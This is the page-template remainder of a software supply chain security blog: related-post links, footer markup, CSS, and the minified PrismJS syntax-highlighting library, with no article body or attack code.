        <h2 class="gradient-text">Subscribe to our research</h2>
        <p>Keep up with the latest software supply chain attacks</p>
        <div style="min-height: 58px;max-width: 440px;margin: 0 auto;width: 100%"><script src="https://cdn.jsdelivr.net/ghost/signup-form@~0.1/umd/signup-form.min.js" data-button-color="#061928" data-button-text-color="#FFFFFF" data-site="https://blog.phylum.io" async></script></div>
    </div>
</div>

        
<section class="related-posts gh-canvas">

    <h3 class="related-title">You might also like...</h3>

    <div class="related-feed">

        <article class="post tag-research featured">

            <figure class="post-media">
                <div class="u-placeholder rectangle">
                    <a class="post-image-link" href="/dormant-pypi-package-updated-to-deploy-novasentinel-stealer/">
                        <img class="post-image u-object-fit" src="/content/images/size/w750/2024/02/back_alley_crypto_sales.webp" alt="Dormant PyPI Package Updated to Deploy NovaSentinel Stealer" loading="lazy">
                    </a>
                </div>
            </figure>

            <header class="post-header">
                <h2 class="post-title">
                    <a class="post-title-link" href="/dormant-pypi-package-updated-to-deploy-novasentinel-stealer/">Dormant PyPI Package Updated to Deploy NovaSentinel Stealer</a>
                </h2>
                <time class="post-meta" datetime="2024-02-22">Feb 22, 2024</time>
            </header>

        </article>


        <article class="post tag-research featured">

            <figure class="post-media">
                <div class="u-placeholder rectangle">
                    <a class="post-image-link" href="/smuggling-malware-in-test-code/">
                        <img class="post-image u-object-fit" src="/content/images/size/w750/2024/02/image--1-.png" alt="Fake Developer Jobs Laced With Malware" loading="lazy">
                    </a>
                </div>
            </figure>

            <header class="post-header">
                <h2 class="post-title">
                    <a class="post-title-link" href="/smuggling-malware-in-test-code/">Fake Developer Jobs Laced With Malware</a>
                </h2>
                <time class="post-meta" datetime="2024-02-20">Feb 20, 2024</time>
            </header>

        </article>


        <article class="post tag-research">

            <figure class="post-media">
                <div class="u-placeholder rectangle">
                    <a class="post-image-link" href="/q4-2023-evolution-of-software-supply-chain-security-report/">
                        <img class="post-image u-object-fit" src="/content/images/size/w750/2024/01/q4-2023.png" alt="Q4 2023 Evolution of Software Supply Chain Security Report" loading="lazy">
                    </a>
                </div>
            </figure>

            <header class="post-header">
                <h2 class="post-title">
                    <a class="post-title-link" href="/q4-2023-evolution-of-software-supply-chain-security-report/">Q4 2023 Evolution of Software Supply Chain Security Report</a>
                </h2>
                <time class="post-meta" datetime="2024-01-22">Jan 22, 2024</time>
            </header>

        </article>

    </div>

</section>


</main>
</div>

    </div>


    <footer class="gh-foot gh-outer">
        <div class="gh-foot-inner gh-inner">
            <div class="gh-copyright">
                Phylum © 2024
            </div>
            <nav class="gh-foot-menu">
                <ul class="nav">
    <li class="nav-sign-up"><a href="#/portal/">Sign up</a></li>
</ul>

            </nav>
            <div class="gh-powered-by">
            </div>
        </div>
    </footer>

</div>

    <div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">
    <div class="pswp__bg"></div>

    <div class="pswp__scroll-wrap">
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <div class="pswp__ui pswp__ui--hidden">
            <div class="pswp__top-bar">
                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>
                <button class="pswp__button pswp__button--share" title="Share"></button>
                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>
                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                        <div class="pswp__preloader__cut">
                            <div class="pswp__preloader__donut"></div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div>
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)"></button>
            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)"></button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>
        </div>
    </div>
</div>
<script
    src="https://code.jquery.com/jquery-3.5.1.min.js"
    integrity="sha256-9/aliU8dGd2tb6OSsuzixeV4y/faTqgFtohetphbbj0="
    crossorigin="anonymous">
</script>
<script src="https://blog.phylum.io/assets/built/main.min.js?v=ec20c08279"></script>

<!-- Google Tag Manager (noscript) -->
<noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-TXLWR5XJ"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->

<style>
table {
    border: 1px solid;
    padding: 0.5em;
    border-radius: 3px;
}
    
thead {
    border: 1px solid #333;
    background: #333;
    color: #fff;
}
    
tr {
    line-height: 2em;
    text-align: center;
}
    
/* CTA */
.cta {
  display: flex;
  flex-wrap: wrap;
  background: rgb(57,75,119);
  background: linear-gradient(90deg, rgba(57,75,119,1) 0%, rgba(35,48,79,1) 100%);
  border-radius: 5px;
  padding: 0.65em;
  color: #ffffff;
  font-size: 0.9em;
}

.item {
  flex: 1 0 100%;
  text-align: center;
}

.right {
    position: relative;
    margin: 2em 0em 2em 0em;
}

@media (min-width: 720px) {
  .cta {
    flex-direction: row;
  }

  .item {
	text-align: center;
  }

  .left {
    flex: 1 0;
  }

  .right {
    flex: 1 0;
    margin: 0;
  }
    
  #gh-cta-btn {
  	margin: 0 0.5em 0 0.5em;
  }
}

/* Typewriter */
.typewriter-container {
  display: inline-block;
  padding: 1em;
}

.typed-out {
  opacity: 100;
  overflow: hidden;
  margin: 0 auto;
  letter-spacing: .1em;
  animation: none;
  font-weight: bold;
}

/* The typing effect */
@keyframes typing {
	from { width: 0 }
	to { width: 100% }
}

/* The typewriter cursor effect */
@keyframes blink-caret {
	from, to { border-color: transparent }
	50% { border-color: lime; }
}

@media (min-width: 720px) {
	.typed-out {
		white-space: nowrap;
		border-right: 0.6em solid lime;
		animation:
			typing 3s steps(40, end),
			blink-caret .75s step-end infinite;
	}
}

#gh-cta-btn {
    padding: 0.5em;
    border-radius: 10px;
    color: #04371c !important;
    text-decoration: none;
    border: 0px;
    cursor: pointer;
    background: rgb(0,255,120);
    background: linear-gradient(180deg, rgba(0,255,120,1) 0%, rgba(0,199,94,1) 100%);
    border: 1px solid #7bf77e;
    text-align: center;
    font-weight: 500;

    position: absolute;
    top: 50%;
    transform: translateY(-50%);
    right: 0;
    width: 100%;
}
</style>
<style>
    /**
 * MIT License
 * Copyright (c) 2018 Sarah Drasner
 * Sarah Drasner's[@sdras] Night Owl
 * Ported by Sara vieria [@SaraVieira]
 * Added by Souvik Mandal [@SimpleIndian]
 */

code[class*="language-"],
pre[class*="language-"] {
	color: #d6deeb;
	font-family: Consolas, Monaco, "Andale Mono", "Ubuntu Mono", monospace;
	text-align: left;
	white-space: pre;
	word-spacing: normal;
	word-break: normal;
	word-wrap: normal;
	line-height: 1.5;
	font-size: 0.9em;

	-moz-tab-size: 4;
	-o-tab-size: 4;
	tab-size: 4;

	-webkit-hyphens: none;
	-moz-hyphens: none;
	-ms-hyphens: none;
	hyphens: none;
}

pre[class*="language-"]::-moz-selection,
pre[class*="language-"] ::-moz-selection,
code[class*="language-"]::-moz-selection,
code[class*="language-"] ::-moz-selection {
	text-shadow: none;
	background: rgba(29, 59, 83, 0.99);
}

pre[class*="language-"]::selection,
pre[class*="language-"] ::selection,
code[class*="language-"]::selection,
code[class*="language-"] ::selection {
	text-shadow: none;
	background: rgba(29, 59, 83, 0.99);
}

@media print {
	code[class*="language-"],
	pre[class*="language-"] {
		text-shadow: none;
	}
}

/* Code blocks */
pre[class*="language-"] {
	padding: 1em;
	margin: 0.5em 0;
	overflow: auto;
}

:not(pre) > code[class*="language-"],
pre[class*="language-"] {
	color: white;
	background: #011627;
}

:not(pre) > code[class*="language-"] {
	padding: 0.1em;
	border-radius: 0.3em;
	white-space: normal;
}

.token.comment,
.token.prolog,
.token.cdata {
	color: rgb(99, 119, 119);
	font-style: italic;
}

.token.punctuation {
	color: rgb(199, 146, 234);
}

.namespace {
	color: rgb(178, 204, 214);
}

.token.deleted {
	color: rgba(239, 83, 80, 0.56);
	font-style: italic;
}

.token.symbol,
.token.property {
	color: rgb(128, 203, 196);
}

.token.tag,
.token.operator,
.token.keyword {
	color: rgb(127, 219, 202);
}

.token.boolean {
	color: rgb(255, 88, 116);
}

.token.number {
	color: rgb(247, 140, 108);
}

.token.constant,
.token.function,
.token.builtin,
.token.char {
	color: rgb(130, 170, 255);
}

.token.selector,
.token.doctype {
	color: rgb(199, 146, 234);
	font-style: italic;
}

.token.attr-name,
.token.inserted {
	color: rgb(173, 219, 103);
	font-style: italic;
}

.token.string,
.token.url,
.token.entity,
.language-css .token.string,
.style .token.string {
	color: rgb(173, 219, 103);
}

.token.class-name,
.token.atrule,
.token.attr-value {
	color: rgb(255, 203, 139);
}

.token.regex,
.token.important,
.token.variable {
	color: rgb(214, 222, 235);
}

.token.important,
.token.bold {
	font-weight: bold;
}

.token.italic {
	font-style: italic;
}
</style>
<script>
/* PrismJS 1.29.0
https://prismjs.com/download.html#themes=prism-tomorrow&languages=markup+css+clike+javascript+bash+python+rust */
var _self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(e){var n=/(?:^|\s)lang(?:uage)?-([\w-]+)(?=\s|$)/i,t=0,r={},a={manual:e.Prism&&e.Prism.manual,disableWorkerMessageHandler:e.Prism&&e.Prism.disableWorkerMessageHandler,util:{encode:function e(n){return n instanceof i?new i(n.type,e(n.content),n.alias):Array.isArray(n)?n.map(e):n.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/\u00a0/g," ")},type:function(e){return Object.prototype.toString.call(e).slice(8,-1)},objId:function(e){return e.__id||Object.defineProperty(e,"__id",{value:++t}),e.__id},clone:function e(n,t){var r,i;switch(t=t||{},a.util.type(n)){case"Object":if(i=a.util.objId(n),t[i])return t[i];for(var l in r={},t[i]=r,n)n.hasOwnProperty(l)&&(r[l]=e(n[l],t));return r;case"Array":return i=a.util.objId(n),t[i]?t[i]:(r=[],t[i]=r,n.forEach((function(n,a){r[a]=e(n,t)})),r);default:return n}},getLanguage:function(e){for(;e;){var t=n.exec(e.className);if(t)return t[1].toLowerCase();e=e.parentElement}return"none"},setLanguage:function(e,t){e.className=e.className.replace(RegExp(n,"gi"),""),e.classList.add("language-"+t)},currentScript:function(){if("undefined"==typeof document)return null;if("currentScript"in document)return document.currentScript;try{throw new Error}catch(r){var e=(/at [^(\r\n]*\((.*):[^:]+:[^:]+\)$/i.exec(r.stack)||[])[1];if(e){var n=document.getElementsByTagName("script");for(var t in n)if(n[t].src==e)return n[t]}return null}},isActive:function(e,n,t){for(var r="no-"+n;e;){var a=e.classList;if(a.contains(n))return!0;if(a.contains(r))return!1;e=e.parentElement}return!!t}},languages:{plain:r,plaintext:r,text:r,txt:r,extend:function(e,n){var t=a.util.clone(a.languages[e]);for(var r in n)t[r]=n[r];return t},insertBefore:function(e,n,t,r){var i=(r=r||a.languages)[e],l={};for(var o in i)if(i.hasOwnProperty(o)){if(o==n)for(var s in t)t.hasOwnProperty(s)&&(l[s]=t[s]);t.hasOwnProperty(o)||(l[o]=i[o])}var u=r[e];return r[e]=l,a.languages.DFS(a.languages,(function(n,t){t===u&&n!=e&&(this[n]=l)})),l},DFS:function e(n,t,r,i){i=i||{};var l=a.util.objId;for(var o in n)if(n.hasOwnProperty(o)){t.call(n,o,n[o],r||o);var s=n[o],u=a.util.type(s);"Object"!==u||i[l(s)]?"Array"!==u||i[l(s)]||(i[l(s)]=!0,e(s,t,o,i)):(i[l(s)]=!0,e(s,t,null,i))}}},plugins:{},highlightAll:function(e,n){a.highlightAllUnder(document,e,n)},highlightAllUnder:function(e,n,t){var r={callback:t,container:e,selector:'code[class*="language-"], [class*="language-"] code, code[class*="lang-"], [class*="lang-"] code'};a.hooks.run("before-highlightall",r),r.elements=Array.prototype.slice.apply(r.container.querySelectorAll(r.selector)),a.hooks.run("before-all-elements-highlight",r);for(var i,l=0;i=r.elements[l++];)a.highlightElement(i,!0===n,r.callback)},highlightElement:function(n,t,r){var i=a.util.getLanguage(n),l=a.languages[i];a.util.setLanguage(n,i);var o=n.parentElement;o&&"pre"===o.nodeName.toLowerCase()&&a.util.setLanguage(o,i);var s={element:n,language:i,grammar:l,code:n.textContent};function u(e){s.highlightedCode=e,a.hooks.run("before-insert",s),s.element.innerHTML=s.highlightedCode,a.hooks.run("after-highlight",s),a.hooks.run("complete",s),r&&r.call(s.element)}if(a.hooks.run("before-sanity-check",s),(o=s.element.parentElement)&&"pre"===o.nodeName.toLowerCase()&&!o.hasAttribute("tabindex")&&o.setAttribute("tabindex","0"),!s.code)return a.hooks.run("complete",s),void(r&&r.call(s.element));if(a.hooks.run("before-highlight",s),s.grammar)if(t&&e.Worker){var c=new Worker(a.filename);c.onmessage=function(e){u(e.data)},c.postMessage(JSON.stringify({language:s.language,code:s.code,immediateClose:!0}))}else u(a.highlight(s.code,s.grammar,s.language));else u(a.util.encode(s.code))},highlight:function(e,n,t){var r={code:e,grammar:n,language:t};if(a.hooks.run("before-tokenize",r),!r.grammar)throw new Error('The language "'+r.language+'" has no grammar.');return r.tokens=a.tokenize(r.code,r.grammar),a.hooks.run("after-tokenize",r),i.stringify(a.util.encode(r.tokens),r.language)},tokenize:function(e,n){var t=n.rest;if(t){for(var r in t)n[r]=t[r];delete n.rest}var a=new s;return u(a,a.head,e),o(e,a,n,a.head,0),function(e){for(var n=[],t=e.head.next;t!==e.tail;)n.push(t.value),t=t.next;return n}(a)},hooks:{all:{},add:function(e,n){var t=a.hooks.all;t[e]=t[e]||[],t[e].push(n)},run:function(e,n){var t=a.hooks.all[e];if(t&&t.length)for(var r,i=0;r=t[i++];)r(n)}},Token:i};function i(e,n,t,r){this.type=e,this.content=n,this.alias=t,this.length=0|(r||"").length}function l(e,n,t,r){e.lastIndex=n;var a=e.exec(t);if(a&&r&&a[1]){var i=a[1].length;a.index+=i,a[0]=a[0].slice(i)}return a}function o(e,n,t,r,s,g){for(var f in t)if(t.hasOwnProperty(f)&&t[f]){var h=t[f];h=Array.isArray(h)?h:[h];for(var d=0;d<h.length;++d){if(g&&g.cause==f+","+d)return;var v=h[d],p=v.inside,m=!!v.lookbehind,y=!!v.greedy,k=v.alias;if(y&&!v.pattern.global){var x=v.pattern.toString().match(/[imsuy]*$/)[0];v.pattern=RegExp(v.pattern.source,x+"g")}for(var b=v.pattern||v,w=r.next,A=s;w!==n.tail&&!(g&&A>=g.reach);A+=w.value.length,w=w.next){var E=w.value;if(n.length>e.length)return;if(!(E instanceof i)){var P,L=1;if(y){if(!(P=l(b,A,e,m))||P.index>=e.length)break;var S=P.index,O=P.index+P[0].length,j=A;for(j+=w.value.length;S>=j;)j+=(w=w.next).value.length;if(A=j-=w.value.length,w.value instanceof i)continue;for(var C=w;C!==n.tail&&(j<O||"string"==typeof C.value);C=C.next)L++,j+=C.value.length;L--,E=e.slice(A,j),P.index-=A}else if(!(P=l(b,0,E,m)))continue;S=P.index;var N=P[0],_=E.slice(0,S),M=E.slice(S+N.length),W=A+E.length;g&&W>g.reach&&(g.reach=W);var z=w.prev;if(_&&(z=u(n,z,_),A+=_.length),c(n,z,L),w=u(n,z,new i(f,p?a.tokenize(N,p):N,k,N)),M&&u(n,w,M),L>1){var I={cause:f+","+d,reach:W};o(e,n,t,w.prev,A,I),g&&I.reach>g.reach&&(g.reach=I.reach)}}}}}}function s(){var e={value:null,prev:null,next:null},n={value:null,prev:e,next:null};e.next=n,this.head=e,this.tail=n,this.length=0}function u(e,n,t){var r=n.next,a={value:t,prev:n,next:r};return n.next=a,r.prev=a,e.length++,a}function c(e,n,t){for(var r=n.next,a=0;a<t&&r!==e.tail;a++)r=r.next;n.next=r,r.prev=n,e.length-=a}if(e.Prism=a,i.stringify=function e(n,t){if("string"==typeof n)return n;if(Array.isArray(n)){var r="";return n.forEach((function(n){r+=e(n,t)})),r}var i={type:n.type,content:e(n.content,t),tag:"span",classes:["token",n.type],attributes:{},language:t},l=n.alias;l&&(Array.isArray(l)?Array.prototype.push.apply(i.classes,l):i.classes.push(l)),a.hooks.run("wrap",i);var o="";for(var s in i.attributes)o+=" "+s+'="'+(i.attributes[s]||"").replace(/"/g,"&quot;")+'"';return"<"+i.tag+' class="'+i.classes.join(" ")+'"'+o+">"+i.content+"</"+i.tag+">"},!e.document)return e.addEventListener?(a.disableWorkerMessageHandler||e.addEventListener("message",(function(n){var t=JSON.parse(n.data),r=t.language,i=t.code,l=t.immediateClose;e.postMessage(a.highlight(i,a.languages[r],r)),l&&e.close()}),!1),a):a;var g=a.util.currentScript();function f(){a.manual||a.highlightAll()}if(g&&(a.filename=g.src,g.hasAttribute("data-manual")&&(a.manual=!0)),!a.manual){var h=document.readyState;"loading"===h||"interactive"===h&&g&&g.defer?document.addEventListener("DOMContentLoaded",f):window.requestAnimationFrame?window.requestAnimationFrame(f):window.setTimeout(f,16)}return a}(_self);"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism);
Prism.languages.markup={comment:{pattern:/<!--(?:(?!<!--)[\s\S])*?-->/,greedy:!0},prolog:{pattern:/<\?[\s\S]+?\?>/,greedy:!0},doctype:{pattern:/<!DOCTYPE(?:[^>"'[\]]|"[^"]*"|'[^']*')+(?:\[(?:[^<"'\]]|"[^"]*"|'[^']*'|<(?!!--)|<!--(?:[^-]|-(?!->))*-->)*\]\s*)?>/i,greedy:!0,inside:{"internal-subset":{pattern:/(^[^\[]*\[)[\s\S]+(?=\]>$)/,lookbehind:!0,greedy:!0,inside:null},string:{pattern:/"[^"]*"|'[^']*'/,greedy:!0},punctuation:/^<!|>$|[[\]]/,"doctype-tag":/^DOCTYPE/i,name:/[^\s<>'"]+/}},cdata:{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,greedy:!0},tag:{pattern:/<\/?(?!\d)[^\s>\/=$<%]+(?:\s(?:\s*[^\s>\/=]+(?:\s*=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+(?=[\s>]))|(?=[\s/>])))+)?\s*\/?>/,greedy:!0,inside:{tag:{pattern:/^<\/?[^\s>\/]+/,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"special-attr":[],"attr-value":{pattern:/=\s*(?:"[^"]*"|'[^']*'|[^\s'">=]+)/,inside:{punctuation:[{pattern:/^=/,alias:"attr-equals"},{pattern:/^(\s*)["']|["']$/,lookbehind:!0}]}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:[{pattern:/&[\da-z]{1,8};/i,alias:"named-entity"},/&#x?[\da-f]{1,8};/i]},Prism.languages.markup.tag.inside["attr-value"].inside.entity=Prism.languages.markup.entity,Prism.languages.markup.doctype.inside["internal-subset"].inside=Prism.languages.markup,Prism.hooks.add("wrap",(function(a){"entity"===a.type&&(a.attributes.title=a.content.replace(/&amp;/,"&"))})),Object.defineProperty(Prism.languages.markup.tag,"addInlined",{value:function(a,e){var s={};s["language-"+e]={pattern:/(^<!\[CDATA\[)[\s\S]+?(?=\]\]>$)/i,lookbehind:!0,inside:Prism.languages[e]},s.cdata=/^<!\[CDATA\[|\]\]>$/i;var t={"included-cdata":{pattern:/<!\[CDATA\[[\s\S]*?\]\]>/i,inside:s}};t["language-"+e]={pattern:/[\s\S]+/,inside:Prism.languages[e]};var n={};n[a]={pattern:RegExp("(<__[^>]*>)(?:<!\\[CDATA\\[(?:[^\\]]|\\](?!\\]>))*\\]\\]>|(?!<!\\[CDATA\\[)[^])*?(?=</__>)".replace(/__/g,(function(){return a})),"i"),lookbehind:!0,greedy:!0,inside:t},Prism.languages.insertBefore("markup","cdata",n)}}),Object.defineProperty(Prism.languages.markup.tag,"addAttribute",{value:function(a,e){Prism.languages.markup.tag.inside["special-attr"].push({pattern:RegExp("(^|[\"'\\s])(?:"+a+")\\s*=\\s*(?:\"[^\"]*\"|'[^']*'|[^\\s'\">=]+(?=[\\s>]))","i"),lookbehind:!0,inside:{"attr-name":/^[^\s=]+/,"attr-value":{pattern:/=[\s\S]+/,inside:{value:{pattern:/(^=\s*(["']|(?!["'])))\S[\s\S]*(?=\2$)/,lookbehind:!0,alias:[e,"language-"+e],inside:Prism.languages[e]},punctuation:[{pattern:/^=/,alias:"attr-equals"},/"|'/]}}}})}}),Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup,Prism.languages.xml=Prism.languages.extend("markup",{}),Prism.languages.ssml=Prism.languages.xml,Prism.languages.atom=Prism.languages.xml,Prism.languages.rss=Prism.languages.xml;
!function(s){var e=/(?:"(?:\\(?:\r\n|[\s\S])|[^"\\\r\n])*"|'(?:\\(?:\r\n|[\s\S])|[^'\\\r\n])*')/;s.languages.css={comment:/\/\*[\s\S]*?\*\//,atrule:{pattern:RegExp("@[\\w-](?:[^;{\\s\"']|\\s+(?!\\s)|"+e.source+")*?(?:;|(?=\\s*\\{))"),inside:{rule:/^@[\w-]+/,"selector-function-argument":{pattern:/(\bselector\s*\(\s*(?![\s)]))(?:[^()\s]|\s+(?![\s)])|\((?:[^()]|\([^()]*\))*\))+(?=\s*\))/,lookbehind:!0,alias:"selector"},keyword:{pattern:/(^|[^\w-])(?:and|not|only|or)(?![\w-])/,lookbehind:!0}}},url:{pattern:RegExp("\\burl\\((?:"+e.source+"|(?:[^\\\\\r\n()\"']|\\\\[^])*)\\)","i"),greedy:!0,inside:{function:/^url/i,punctuation:/^\(|\)$/,string:{pattern:RegExp("^"+e.source+"$"),alias:"url"}}},selector:{pattern:RegExp("(^|[{}\\s])[^{}\\s](?:[^{};\"'\\s]|\\s+(?![\\s{])|"+e.source+")*(?=\\s*\\{)"),lookbehind:!0},string:{pattern:e,greedy:!0},property:{pattern:/(^|[^-\w\xA0-\uFFFF])(?!\s)[-_a-z\xA0-\uFFFF](?:(?!\s)[-\w\xA0-\uFFFF])*(?=\s*:)/i,lookbehind:!0},important:/!important\b/i,function:{pattern:/(^|[^-a-z0-9])[-a-z0-9]+(?=\()/i,lookbehind:!0},punctuation:/[(){};:,]/},s.languages.css.atrule.inside.rest=s.languages.css;var t=s.languages.markup;t&&(t.tag.addInlined("style","css"),t.tag.addAttribute("style","css"))}(Prism);
Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/,lookbehind:!0,greedy:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0,greedy:!0}],string:{pattern:/(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/(\b(?:class|extends|implements|instanceof|interface|new|trait)\s+|\bcatch\s+\()[\w.\\]+/i,lookbehind:!0,inside:{punctuation:/[.\\]/}},keyword:/\b(?:break|catch|continue|do|else|finally|for|function|if|in|instanceof|new|null|return|throw|try|while)\b/,boolean:/\b(?:false|true)\b/,function:/\b\w+(?=\()/,number:/\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i,operator:/[<>]=?|[!=]=?=?|--?|\+\+?|&&?|\|\|?|[?*/~^%]/,punctuation:/[{}[\];(),.:]/};
Prism.languages.javascript=Prism.languages.extend("clike",{"class-name":[Prism.languages.clike["class-name"],{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$A-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\.(?:constructor|prototype))/,lookbehind:!0}],keyword:[{pattern:/((?:^|\})\s*)catch\b/,lookbehind:!0},{pattern:/(^|[^.]|\.\.\.\s*)\b(?:as|assert(?=\s*\{)|async(?=\s*(?:function\b|\(|[$\w\xA0-\uFFFF]|$))|await|break|case|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally(?=\s*(?:\{|$))|for|from(?=\s*(?:['"]|$))|function|(?:get|set)(?=\s*(?:[#\[$\w\xA0-\uFFFF]|$))|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)\b/,lookbehind:!0}],function:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*(?:\.\s*(?:apply|bind|call)\s*)?\()/,number:{pattern:RegExp("(^|[^\\w$])(?:NaN|Infinity|0[bB][01]+(?:_[01]+)*n?|0[oO][0-7]+(?:_[0-7]+)*n?|0[xX][\\dA-Fa-f]+(?:_[\\dA-Fa-f]+)*n?|\\d+(?:_\\d+)*n|(?:\\d+(?:_\\d+)*(?:\\.(?:\\d+(?:_\\d+)*)?)?|\\.\\d+(?:_\\d+)*)(?:[Ee][+-]?\\d+(?:_\\d+)*)?)(?![\\w$])"),lookbehind:!0},operator:/--|\+\+|\*\*=?|=>|&&=?|\|\|=?|[!=]==|<<=?|>>>?=?|[-+*/%&|^!=<>]=?|\.{3}|\?\?=?|\?\.?|[~:]/}),Prism.languages.javascript["class-name"][0].pattern=/(\b(?:class|extends|implements|instanceof|interface|new)\s+)[\w.\\]+/,Prism.languages.insertBefore("javascript","keyword",{regex:{pattern:RegExp("((?:^|[^$\\w\\xA0-\\uFFFF.\"'\\])\\s]|\\b(?:return|yield))\\s*)/(?:(?:\\[(?:[^\\]\\\\\r\n]|\\\\.)*\\]|\\\\.|[^/\\\\\\[\r\n])+/[dgimyus]{0,7}|(?:\\[(?:[^[\\]\\\\\r\n]|\\\\.|\\[(?:[^[\\]\\\\\r\n]|\\\\.|\\[(?:[^[\\]\\\\\r\n]|\\\\.)*\\])*\\])*\\]|\\\\.|[^/\\\\\\[\r\n])+/[dgimyus]{0,7}v[dgimyus]{0,7})(?=(?:\\s|/\\*(?:[^*]|\\*(?!/))*\\*/)*(?:$|[\r\n,.;:})\\]]|//))"),lookbehind:!0,greedy:!0,inside:{"regex-source":{pattern:/^(\/)[\s\S]+(?=\/[a-z]*$)/,lookbehind:!0,alias:"language-regex",inside:Prism.languages.regex},"regex-delimiter":/^\/|\/$/,"regex-flags":/^[a-z]+$/}},"function-variable":{pattern:/#?(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*[=:]\s*(?:async\s*)?(?:\bfunction\b|(?:\((?:[^()]|\([^()]*\))*\)|(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)\s*=>))/,alias:"function"},parameter:[{pattern:/(function(?:\s+(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*)?\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\))/,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/(^|[^$\w\xA0-\uFFFF])(?!\s)[_$a-z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*=>)/i,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/(\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*=>)/,lookbehind:!0,inside:Prism.languages.javascript},{pattern:/((?:\b|\s|^)(?!(?:as|async|await|break|case|catch|class|const|continue|debugger|default|delete|do|else|enum|export|extends|finally|for|from|function|get|if|implements|import|in|instanceof|interface|let|new|null|of|package|private|protected|public|return|set|static|super|switch|this|throw|try|typeof|undefined|var|void|while|with|yield)(?![$\w\xA0-\uFFFF]))(?:(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*\s*)\(\s*|\]\s*\(\s*)(?!\s)(?:[^()\s]|\s+(?![\s)])|\([^()]*\))+(?=\s*\)\s*\{)/,lookbehind:!0,inside:Prism.languages.javascript}],constant:/\b[A-Z](?:[A-Z_]|\dx?)*\b/}),Prism.languages.insertBefore("javascript","string",{hashbang:{pattern:/^#!.*/,greedy:!0,alias:"comment"},"template-string":{pattern:/`(?:\\[\s\S]|\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}|(?!\$\{)[^\\`])*`/,greedy:!0,inside:{"template-punctuation":{pattern:/^`|`$/,alias:"string"},interpolation:{pattern:/((?:^|[^\\])(?:\\{2})*)\$\{(?:[^{}]|\{(?:[^{}]|\{[^}]*\})*\})+\}/,lookbehind:!0,inside:{"interpolation-punctuation":{pattern:/^\$\{|\}$/,alias:"punctuation"},rest:Prism.languages.javascript}},string:/[\s\S]+/}},"string-property":{pattern:/((?:^|[,{])[ \t]*)(["'])(?:\\(?:\r\n|[\s\S])|(?!\2)[^\\\r\n])*\2(?=\s*:)/m,lookbehind:!0,greedy:!0,alias:"property"}}),Prism.languages.insertBefore("javascript","operator",{"literal-property":{pattern:/((?:^|[,{])[ \t]*)(?!\s)[_$a-zA-Z\xA0-\uFFFF](?:(?!\s)[$\w\xA0-\uFFFF])*(?=\s*:)/m,lookbehind:!0,alias:"property"}}),Prism.languages.markup&&(Prism.languages.markup.tag.addInlined("script","javascript"),Prism.languages.markup.tag.addAttribute("on(?:abort|blur|change|click|composition(?:end|start|update)|dblclick|error|focus(?:in|out)?|key(?:down|up)|load|mouse(?:down|enter|leave|move|out|over|up)|reset|resize|scroll|select|slotchange|submit|unload|wheel)","javascript")),Prism.languages.js=Prism.languages.javascript;
